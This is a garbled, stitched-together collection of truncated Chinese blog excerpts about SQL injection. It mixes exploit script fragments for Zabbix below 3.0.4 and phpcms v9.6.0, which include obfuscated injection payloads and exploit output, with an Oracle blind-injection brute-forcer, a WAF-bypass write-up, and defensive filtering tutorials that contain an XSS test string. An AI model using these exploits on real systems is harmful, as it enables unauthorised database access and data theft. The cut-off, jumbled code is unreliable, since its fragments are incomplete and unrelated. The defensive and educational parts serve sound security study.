#encodeing=utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf-8') payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.') headers = { 'Cache-Control':'max-age=0','Accept':'text/html,application/xhtml

zabbix(sql注入判断脚本) #-*-coding:utf-8-*- # code by anyun.org import urllib import re def getHtml(url): page = urllib.urlopen(url) html = page.read() html = html.replace('\n', '') html = html.replace(' ', ' ') html = html.replace(' ', '') html = html.rep

exp检测是否存在SQL注入漏洞root@ubuntu:~# python zabbix.py http://ip:9090/+------------------------------------------------------------+ Python Zabbix<3.0.4 SQL注入 Exploitsuccess+------------------------------------------------------------+Zabbix 存在SQL注入漏洞! 管理员

前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx.php?id=xxx的链接 2.将这些爬取到的链接写入一个URL 3.加入payload 4.用正则过滤掉一些残缺不全的链接 5.将一些报错语句加入一个列表 6.从报错的语句中寻找错误 7.判断字符型注入或数字型注入 代码: import requests,re,time,os from tqdm

1.ORACLE布尔型盲注 import urllib import urllib2 import requests payloads = '_ABCDEFGHIJKLMNOPQRSTUVWXYZ' header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' } values={} print 'Start to retrive database:' database= '' #需要先手工判断当前表名长度

import requests import json import warnings warnings.filterwarnings("ignore") url = 'https://1.1.1.1/xx/1.0/apiGateway/createSource' headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.

如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本博文将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理. 以下实例中,输入的用户名必须为字母.数字及下划线的组合,且用户名长度为 8 到

如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理. 以下实例中,输入的用户名必须为字母.数字及下划线的组合,且用户名长度为 8 到

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我们真的了解SQL注入吗? 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一.SQL注入,包括常规注入场景.exp表达式注入场景.Action参数绑定注入场景和组合注入. 推荐1   Thinkphp where注入(ThinkPHP框架审计 )  << 点击获取   ThinkPHP是一个快速.简单的基于MVC和面向对象的轻量级PHP开发框架,遵循Apach

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1 SQL注入.盲注 1.1 SQL注入.盲注概述 Web 应用程序通常在后端使用数据库,以与企业数据仓库交互.查询数据库事实上的标准语言是 SQL(各大数据库供应商都有自己的不同版本).Web 应用程序通常会获取用户输入(取自 HTTP 请求),将它并入 SQL 查询中,然后发送到后端数据库.接着应用程序便处理查询结果,有时会向用户显示结果. 如果应用程序对用户(攻击者)的输入处理不够小心,攻击者便可以利用这种操作方式.在此情况下,攻击者可以注入恶意的数据,当该数据并入 SQL 查询中时,就将

SpringMVC处理脚本,SQL注入问题(写的不好勿喷,互相学习) 使用 Filter 来过滤浏览器发出的请求,对每个URI参数请求过滤些关键字,替换成安全的字符.所有请求的 getParameter 会被替换,如果参数里面含有敏感词会被替换掉. 对于类似:>"<script>alert('XSS');</script> 一.过滤些敏感的脚本 1.编写XssHttpServletRequestWrapper import javax. servlet. http.

从360安全论坛里找到的一段代码,经过整理封装,直接在站点Global.asax文件或写一个HttpModule来拦截恶意请求即可: http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=711&page=1&extra=#pid1927 using System.Text.RegularExpressions; using System.Web; /// <summary> /// Web请求安全检查:防止跨站点

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phpcms v9 SQL注入脚本 用法:python phpcms.py http://www.baidu.com import requests,sys,urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*e

0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 2003+phpStudy sql注入点测试代码: sql.php <?php $con = mysql_connect("localhost","root","root"); if (!$con) { die('Could not connect:

0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Windows 10 X64Browser: Firefox QuantumPython version : 2.7Tools: JetBrains PhpStorm 2018.1.6 x64.Seay代码审计工具 搭建这个程序也挺简单的,也是一步到位. 0x03 漏洞复现 首先在程序的后台添加一条数据 执行我

0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql注入对渗透的作用: 获取数据 sql注入特性: 攻击方法由数据库类型决定 攻击结果由数据库决定 漏洞代码: sql.php <?php $id=$_GET['x']; $sql="select * from news where id=$x"; 还没完 ?> 当我们在网页执行访